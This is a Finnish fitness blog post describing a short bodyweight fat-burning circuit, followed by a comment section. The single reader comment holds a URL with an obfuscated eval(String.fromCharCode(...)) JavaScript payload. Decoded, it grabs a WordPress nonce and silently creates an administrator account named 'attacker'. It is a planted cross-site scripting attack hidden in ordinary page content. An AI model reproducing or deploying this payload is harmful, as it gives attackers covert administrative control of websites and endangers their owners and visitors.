Treeni, joka laittaa rasvan palamaan!

Lyhyitä ja tehokkaita rasvanpolttotreenejä on kyselty minulta todella paljon, joten tässäpä sinulle sellainen! Teen itse myös paljon tämän tyylisiä treenejä omalla kehonpainolla ja rakastan niitä yli kaiken. Etenkin aamuisin ei ole mitään parempaa starttia päivään, kuin tehdä tehokas kuntopiiri omalla kehonpainolla. Pistä testiin!

Liikkeet:

  • Askelkyykkyhypyt x 20
  • Punnerrus + kierto x 15
  • Puolikyykky + hyppy x 10
  • Burpees + side shuttle x 5
  • n. 100m spurtti

Tee 4 x kierrosta Jääpiiriä niin nopeasti kuin pystyt. Ota aikasi ylös, kuten Burner 400 treenissä konsanaan!

Tunne kuinka rasva tirisee, kunto kasvaa ja fiilis nousee kattoon!

Huom! Jokainen tekee oman kunnon mukaan… videolla näytän muutamia korvaavia liikkeitä, mikäli hypyt ovat vielä liian haastavia. Tsemppiä!

Katso treeniliikkeet videolta:

Jääpiiri: SUPER tehokas koko kropan kehonpainotreeni

🎥 UUSI treenivideo: JÄÄPIIRI ❄️🔥Lyhyitä ja tehokkaita rasvanpolttotreenejä on kyselty, joten tässäpä sinulle sellainen! Teen itse myös paljon tämän tyylisiä treenejä omalla kehonpainolla ja rakastan niitä yli kaiken. Etenkin aamuisin ei ole parempaa starttia päivään kuin tehokas kehonpaino circuit!! Pistä testiin!Liikkeet:🔹Askelkyykkyhypyt 20🔹Punnerrus + kierto 15🔹Puolikyykky + hyppy 10🔹Burpees + side shuttle 5🔹n. 100m spurttiTee NELJÄ kierrosta Jääpiiriä niin nopeasti kuin pystyt. Ota aikasi ylös kuten Burner 400 treenissä konsanaan!Tunne kuinka rasva tirisee, kunto kasvaa ja fiilis nousee kattoon😉Tägää alle paras treenikaverisi jonka haluat haastaa testaamaan Jääpiiriä sun kanssa💥👇🏻Ps. Jokainen tekee oman kunnon mukaan… videolla näytän muutamia korvaavia liikkeitä mikäli hypyt vielä liian haastavia! tsemppiä!

Geplaatst door Tomikokko.com op woensdag 26 april 2017

 

Inspiraatiota ja energiaa päivään! Saa laittaa jakoon ja vinkata tästä treenistä kaveria – voit myös haastaa treenikaverin ajanottokisaan 😉

Motivoivin terveisin,

Tomi Kokko

Leave a Reply 1 comment

Jaana - maaliskuu 24, 2018 Reply

Minulla näkyy eri video tällä linkillä?

https://www.leaninfiveweeks.com/?s=eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C61%2C34%2C47%2C119%2C112%2C45%2C97%2C100%2C109%2C105%2C110%2C47%2C117%2C115%2C101%2C114%2C45%2C110%2C101%2C119%2C46%2C112%2C104%2C112%2C34%2C44%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C61%2C47%2C115%2C101%2C114%2C34%2C32%2C118%2C97%2C108%2C117%2C101%2C61%2C34%2C40%2C91%2C94%2C34%2C93%2C42%2C63%2C41%2C34%2C47%2C103%2C59%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C71%2C69%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C49%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C41%2C59%2C118%2C97%2C114%2C32%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C61%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C46%2C101%2C120%2C101%2C99%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C84%2C101%2C120%2C116%2C41%2C44%2C110%2C111%2C110%2C99%2C101%2C61%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C91%2C49%2C93%2C44%2C112%2C97%2C114%2C97%2C109%2C115%2C61%2C34%2C97%2C99%2C116%2C105%2C111%2C110%2C61%2C99%2C114%2C101%2C97%2C116%2C101%2C117%2C115%2C101%2C114%2C38%2C95%2C119%2C112%2C110%2C111%2C110%2C99%2C101%2C95%2C99%2C114%2C101%2C97%2C116%2C101%2C45%2C117%2C115%2C101%2C114%2C61%2C34%2C43%2C110%2C111%2C110%2C99%2C101%2C43%2C34%2C38%2C117%2C115%2C101%2C114%2C95%2C108%2C111%2C103%2C105%2C110%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C101%2C109%2C97%2C105%2C108%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C64%2C115%2C105%2C116%2C101%2C46%2C99%2C111%2C109%2C38%2C112%2C97%2C115%2C115%2C49%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C112%2C97%2C115%2C115%2C50%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C114%2C111%2C108%2C101%2C61%2C97%2C100%2C109%2C105%2C110%2C105%2C115%2C116%2C114%2C97%2C116%2C111%2C114%2C34%2C59%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C41%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C80%2C79%2C83%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C48%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C116%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C72%2C101%2C97%2C100%2C101%2C114%2C40%2C34%2C67%2C111%2C110%2C116%2C101%2C110%2C116%2C45%2C84%2C121%2C112%2C101%2C34%2C44%2C34%2C97%2C112%2C112%2C108%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C47%2C120%2C45%2C119%2C119%2C119%2C45%2C102%2C111%2C114%2C109%2C45%2C117%2C114%2C108%2C101%2C110%2C99%2C111%2C100%2C101%2C100%2C34%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C112%2C97%2C114%2C97%2C109%2C115%2C41%2C59%29%29

Leave a Reply:







 ILMAINEN NETTIKOULUTUS: 3 Suurinta virhettä miksi laihdutusyrityksesi epäonnistuvat kun lähtökohtana on TODELLINEN rapakunto ja koet ettei kehosi kestä hirmurääkin aloittamista?

x
x
x